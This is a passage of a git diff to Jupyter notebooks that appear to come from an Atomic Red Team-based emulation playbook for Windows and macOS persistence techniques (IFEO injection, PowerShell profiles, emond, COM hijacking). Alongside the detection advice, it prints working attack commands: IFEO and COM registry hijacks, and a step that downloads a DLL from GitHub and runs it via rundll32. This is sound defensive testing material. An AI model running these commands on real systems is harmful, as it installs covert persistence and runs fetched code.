only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse." } @@ -137,13 +137,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.012.ipynb b/playbook/tactics/persistence/T1546.012.ipynb index 1b8d321c..65c3aea3 100644 --- a/playbook/tactics/persistence/T1546.012.ipynb +++ b/playbook/tactics/persistence/T1546.012.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d8019e8f", + "id": "683f6802", "metadata": {}, "source": "# T1546.012 - Image File Execution Options Injection\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)" }, { "cell_type": "markdown", - "id": "cbf88686", + "id": "d4f92bb6", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9bff6c6f", + "id": "e4e6d065", "metadata": {}, "source": [ "### Atomic Test #1 - IFEO Add Debugger", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e5862492", + "id": "6ed2bdcd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7d4e3345", + "id": "4c7e3c2d", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "51cdbe9a", + "id": "85dba963", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a0ebd77f", + "id": "e4b104e3", "metadata": {}, "source": [ "### Atomic Test #2 - IFEO Global Flags", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "3f1b6747", + "id": "9c4ab417", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "98919fae", + "id": "57247242", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "631a24f8", + "id": "d5718672", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "d576497a", + "id": "69881bce", "metadata": {}, "source": [ "### Atomic Test #3 - GlobalFlags in Image File Execution Options", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c57b0fbc", + "id": "cfc69497", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "33abdabd", + "id": "3619d722", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\whoami.exe\" \nRemove-Item $SilentProcessExit -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\whoami.exe\"\nRemove-Item $registryPath -force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ea373b50", + "id": "49daab79", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "3a1df3cc", + "id": "1e51fa8e", "metadata": {}, "source": "## Detection\nMonitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)" } @@ -127,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.013.ipynb b/playbook/tactics/persistence/T1546.013.ipynb index 8e6e100b..6f67f476 100644 --- a/playbook/tactics/persistence/T1546.013.ipynb +++ b/playbook/tactics/persistence/T1546.013.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "ebc558a4", + "id": "6dcc3a6b", "metadata": {}, "source": "# T1546.013 - PowerShell Profile\nAdversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)" }, { "cell_type": "markdown", - "id": "3e45a7c9", + "id": "2a44cc61", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1104e8be", + "id": "b9cc033c", "metadata": {}, "source": "### Atomic Test #1 - Append malicious start-process cmdlet\nAppends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Ensure a powershell profile exists for the current user\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $profile) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $profile -Type File -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "55bb6aee", + "id": "616a6b4e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.013 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4ee6c315", + "id": "1172f0e4", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ea8396ae", + "id": "1d4b7ec0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.013 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "da9f98f0", + "id": "43f4eab2", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$oldprofile = cat $profile | Select-Object -skiplast 1\nSet-Content $profile -Value $oldprofile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f088debc", + "id": "8ba4b215", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.013 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c3781bf2", + "id": "0441ef21", "metadata": {}, "source": "## Detection\nLocations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1\n* $Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.014.ipynb b/playbook/tactics/persistence/T1546.014.ipynb index 5c72993d..33a070a2 100644 --- a/playbook/tactics/persistence/T1546.014.ipynb +++ b/playbook/tactics/persistence/T1546.014.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "4a4dfe72", + "id": "f0c4cf7c", "metadata": {}, "source": "# T1546.014 - Emond\nAdversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service." }, { "cell_type": "markdown", - "id": "f71ef180", + "id": "57d2b649", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2944db7e", + "id": "33e2b8ca", "metadata": {}, "source": [ "### Atomic Test #1 - Persistance with Event Monitor - emond", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d9c4798f", + "id": "0a4ad8ab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.014 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "37e26745", + "id": "484db963", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /etc/emond.d/rules/T1546.014_emond.plist\nsudo rm /private/var/db/emondClients/T1546.014\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bf8249d2", + "id": "2c1f7feb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.014 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "42f9500f", + "id": "041d9204", "metadata": {}, "source": "## Detection\nMonitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.015.ipynb b/playbook/tactics/persistence/T1546.015.ipynb index 717cdc5d..144e3c6a 100644 --- a/playbook/tactics/persistence/T1546.015.ipynb +++ b/playbook/tactics/persistence/T1546.015.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "793b2b16", + "id": "649e0ad1", "metadata": {}, "source": "# T1546.015 - Component Object Model Hijacking\nAdversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. " }, { "cell_type": "markdown", - "id": "dacb9a2a", + "id": "3a398792", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f706bcfa", + "id": "512ded7d", "metadata": {}, - "source": "### Atomic Test #1 - COM Hijacking - InprocServer32\nThis test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL For testing\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\AtomicTest.dll) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll\" -OutFile \"$env:TEMP\\AtomicTest.dll\"\n```" + "source": "### Atomic Test #1 - COM Hijacking - InprocServer32\nThis test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL For testing\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AtomicTest.dll\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AtomicTest.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1886f841", + "id": "0897f88b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3b2624e5", + "id": "ae5d7d08", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Value $env:TEMP\\AtomicTest.dll\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Name 'ThreadingModel' -Value 'Apartment' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'```" + "```powershell\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Value \"PathToAtomicsFolder\\..\\ExternalPayloads\\AtomicTest.dll\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Name 'ThreadingModel' -Value 'Apartment' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e41acd08", + "id": "dc84e2d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "bd40c1f9", + "id": "94451dd5", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Recurse -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "6a601359", + "id": "c63fb407", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "0bcc54e0", + "id": "56970b7d", "metadata": {}, "source": [ "### Atomic Test #2 - Powershell Execute COM Object", @@ -72,73 +72,73 @@ { "cell_type": "code", "execution_count": null, - "id": "d8b13a91", + "id": "c3966942", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c088eb4b", + "id": "af65cb06", "metadata": {}, "source": "#### Cleanup: \n```powershell\nGet-Process -Name \"*calc\" | Stop-Process\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1a996a3c", + "id": "3e5fd81b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "83487155", + "id": "97e32778", "metadata": {}, - "source": "### Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)\nThis test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. \n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL For testing\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\T1546.015_calc.dll) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll\" -OutFile \"$env:temp\\T1546.015_calc.dll\"\n```" + "source": "### Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)\nThis test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. \n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL For testing\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1546.015_calc.dll\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1546.015_calc.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "14f7b475", + "id": "55ffd2c9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "82a87114", + "id": "ff852269", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Value $env:temp\\T1546.015_calc.dll\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Name 'ThreadingModel' -Value 'Both' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'```" + "```powershell\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Value \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1546.015_calc.dll\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Name 'ThreadingModel' -Value 'Both' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'```" ] }, { "cell_type": "code", "execution_count": null, - "id": "41baa61f", + "id": "2652ad10", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "204e994c", + "id": "8770d3a5", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Recurse -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "e5890e0f", + "id": "1f712586", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "e7499e34", + "id": "a3f6b3cf", "metadata": {}, "source": [ "### Atomic Test #4 - COM hijacking via TreatAs", @@ -151,28 +151,28 @@ { "cell_type": "code", "execution_count": null, - "id": "da926957", + "id": "643511dc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "b3a95ec2", + "id": "8187670e", "metadata": {}, "source": "#### Cleanup: \n```powershell\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f```" }, { "cell_type": "code", "execution_count": null, - "id": "aa34b960", + "id": "ed9d3745", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "adb35c19", + "id": "b55601fb", "metadata": {}, "source": "## Detection\nThere are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. " } @@ -180,13 +180,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.016.ipynb b/playbook/tactics/persistence/T1546.016.ipynb index f692c5be..6f58c357 100644 --- a/playbook/tactics/persistence/T1546.016.ipynb +++ b/playbook/tactics/persistence/T1546.016.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "1e438aa2", + "id": "5abccd3e", "metadata": {}, "source": "# T1546.016 - Installer Packages\nAdversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. Adversaries have leveraged `Prebuild` and `Postbuild` events to run commands before or after a build when installing .msi files.(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)" }, { "cell_type": "markdown", - "id": "cfb4e25f", + "id": "54e991cd", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1546.ipynb b/playbook/tactics/persistence/T1546.ipynb index 3a7d7fcc..d0e760b7 100644 --- a/playbook/tactics/persistence/T1546.ipynb +++ b/playbook/tactics/persistence/T1546.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": 